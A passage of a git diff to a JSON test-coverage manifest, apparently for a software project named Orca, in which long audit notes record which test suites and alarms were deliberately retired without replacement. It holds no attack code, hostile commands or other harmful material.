have no new execution or equivalent replacement credit. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-3800", "https://linear.app/stably/issue/STA-3904", @@ -10135,7 +10093,7 @@ "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. CLI ownership cleanup retires low-value test cases, including explicit-current no-read, legacy success/idempotent acceptance, and caller-pane routing examples. Retained refusal and recovery assertions are listed below; dated receipts keep their original scopes. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. The complete federation-lifecycle-settlement suite is removed, losing its fake remote settlement/protocol/acknowledgment examples. Its exact standalone command, testFiles entry and complete assertionRef are retired and prior fields archived. Existing receipts select unrelated migration and compiled CLI journeys and retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2923 accepts loss of the first/replayed attested legacy worker_done CLI acceptance alarms, including exact send parameters, sender pane proof, lifecycle-wait flag and minted mutation identity. The removed fixture supplied settled runtime verdicts; it did not execute settlement authority, durable replay or outage recovery. Reduced selectors have no new execution, fault-control or equivalent replacement credit. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit. CLI command/orchestration owner cleanup intentionally retires three registrations selected by this gate: two mock-supplied lifecycle/Run-home rejection projection examples and the complete manually assembled JSON failure-envelope example. The JSON-envelope suite, its exact command token/testFiles entry and whole assertion reference are removed; the retired Run-home relay assertion is removed from the retained lifecycle suite. These boundary projection alarms are lost without equivalent replacement. Retained fail-closed settlement and mutation-recovery cases keep their own scope. Pure owner moves do not invalidate unrelated dated receipts, which retain their exact original bytes; no fresh reduced-selector execution, native or remote evidence is claimed.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5912 deletes the complete federation acknowledgment migration suite. Its invented v26-schema default, migration-start and imported-cursor alarms are intentionally lost. The sole migration command, testFiles and assertionRef are retired. No equivalent replacement or fresh whole-gate pass is claimed. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. CLI ownership cleanup retires low-value test cases, including explicit-current no-read, legacy success/idempotent acceptance, and caller-pane routing examples. Retained refusal and recovery assertions are listed below; dated receipts keep their original scopes. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. The complete federation-lifecycle-settlement suite is removed, losing its fake remote settlement/protocol/acknowledgment examples. Its exact standalone command, testFiles entry and complete assertionRef are retired and prior fields archived. Existing receipts select unrelated migration and compiled CLI journeys and retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit2923 accepts loss of the first/replayed attested legacy worker_done CLI acceptance alarms, including exact send parameters, sender pane proof, lifecycle-wait flag and minted mutation identity. The removed fixture supplied settled runtime verdicts; it did not execute settlement authority, durable replay or outage recovery. Reduced selectors have no new execution, fault-control or equivalent replacement credit. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit. CLI command/orchestration owner cleanup intentionally retires three registrations selected by this gate: two mock-supplied lifecycle/Run-home rejection projection examples and the complete manually assembled JSON failure-envelope example. The JSON-envelope suite, its exact command token/testFiles entry and whole assertion reference are removed; the retired Run-home relay assertion is removed from the retained lifecycle suite. These boundary projection alarms are lost without equivalent replacement. Retained fail-closed settlement and mutation-recovery cases keep their own scope. Pure owner moves do not invalidate unrelated dated receipts, which retain their exact original bytes; no fresh reduced-selector execution, native or remote evidence is claimed. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. The retained worker-start-composition.test.ts loses its complete overlapping-first-starts-from-an-unbound-coordinator callback. That one-Run concurrency alarm is deliberately retired without equivalent replacement; its other six authored cases retain only their original scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/11107#discussion_r3663321387", "https://github.com/stablyai/orca/issues/13858", @@ -11952,7 +11910,7 @@ "providers": ["local", "remote-runtime", "ssh"], "coveredPlatforms": ["macos", "linux"], "coveredProviders": ["local", "remote-runtime", "ssh"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5896 retires the whole promise-settlement-waiters suite, intentionally losing its Promise ordering/abandon cleanup alarms. Remaining selectors are not equivalent replacement coverage; unrelated dated receipts retain original scope. No fresh whole-gate validation is claimed. Complete prior account retained verbatim: Shared primitives layout deliberately retires the promise waiter actual-timeout/supplied-result/internal waiter-count/timer-count callback. The already-aborted ownership-abandon callback survives at its moved concurrency test path. No equivalent timeout detachment/timer-cleanup alarm or fresh validation of the reduced/moved source is claimed. All13 dated build/resource/fault-harness receipts remain exact and retain only their original scopes. Previous account (verbatim; historical where it concerns changed source): Audit5648/source5643 retires complete suites and their exact active selectors/assertion references. Intentionally lose watcher registry release-before-listen wakeup, one-released-slot reservation ordering, event flush blocked-active/overflow delivery and close-settlement alarms. No equivalent replacement, fresh execution or native/remote/platform evidence is claimed. Complete original selector/assertion fields and historical scopes remain in knownGaps. Prior account (verbatim): Audit5574 removes the entire physical-exit waiter bookkeeping suite and its active selectors/assertion reference. Timeout/retry, fanout/double-exit and immediate-later-wait alarms are intentionally retired without equivalent replacement or fresh process-exit evidence. Unrelated dated receipts retain their exact original scopes. Historical account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4358 intentionally removes six whole mocked daemon subprocess suites and two extra pre-listener replay variants (18 authored / 20 finite cases). Lost alarms include cancel-during-cwd-validation, root agent startup refusal, output/exit before ConPTY publication, fresh/delayed/unavailable foreground confirmation, cache/decision separation, detached/no-tty child evidence and synthetic agent authorization. The retained lifecycle case checks data and exit replay after handle creation, not startup-time publication or alternate listener order. The retained native Windows Git Bash workflow and host cold-restore seed check have separate scopes. No equivalent replacement or fresh gate execution is claimed. Earlier notes and dated receipts retain their original scope. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3788 retires10 authored/11 expanded cases across six changed drivers, including the entire screencast pending-frame-retry and usage-source-cache-streaming suites. Deliberate losses are false-refused last-frame retry/once-only delivery, ordinary stable-pane reattachment, cleared-chat Dispatch completion, terminal-declared chat-caller refusal, at-rest worker liveness projection, nested depth/cap policy, small unsigned6/sealed7 plain-format and verified-bit examples, generic malformed-ISIZE footer refusal examples, and synthetic10k/100k chunk-size/work-count budgets in gzip and general cache I/O. These include real state/disk/RPC outcomes consciously retired for marginal value; retained E2EE-backlog, receipt/custody/uncertain-ack, integrity/migration and staging-cleanup cases are not equivalent replacements. The footer test did not prove early rejection or bounded allocation; staging cleanup did not seed unrelated files. No replacement or fresh native/remote/performance execution is claimed. Earlier raw selectors and dated receipts remain historical. Audit3779 retires17 authored/17 expanded registrations across six changed drivers, including the entire shared-Codex-home and prompt-telemetry suites. Accepted losses are shared-home wrapper noninterference/opt-out preservation, mocked metric count/provenance filters, SSH activity labeling/clearing and handover idle timing, VM ownership/capability/status projections and asleep-worktree refusal, a link-only external conversation replay sample, and two narrow input-credit noninterference/expiry examples. Retain the direct exact-tab/single-use input-credit case. These bounded real disk/state/routing alarms are intentionally retired for marginal value without equivalent replacement or fresh execution claims; earlier receipts remain historical. Audit3772 retires18 authored/27 expanded cases, including whole Codex service opt-out, RPC capability-parser, creator-provenance, short-ciphertext and readiness-null suites. Accepted losses include service ledger/symlink/mode cleanup, user TOML substring preservation, old-hash cleanup, description pass-through, malformed-file/pending-hash examples, coordinator write/probe counts, capability array bounds, positive creator projections, early short-payload refusal and readiness helper null shape. Two redundant Codex exit-cause rows are also retired; Pi shares their direct-idle path only in this empty-output immediate-exit fixture, and future agent-config drift coverage is lost. Real bounded filesystem/parser/runtime alarms are deliberately retired for marginal value; no equivalent replacements or fresh execution are claimed. Earlier receipts retain their historical scope. Audits3754/3755 intentionally remove9 authored/9 finite registrations: the entire one-case usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous account (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous account (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous account (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous account (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous account (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous account (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous account (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous account (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous account (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous account (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous account (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous account (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous account (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup 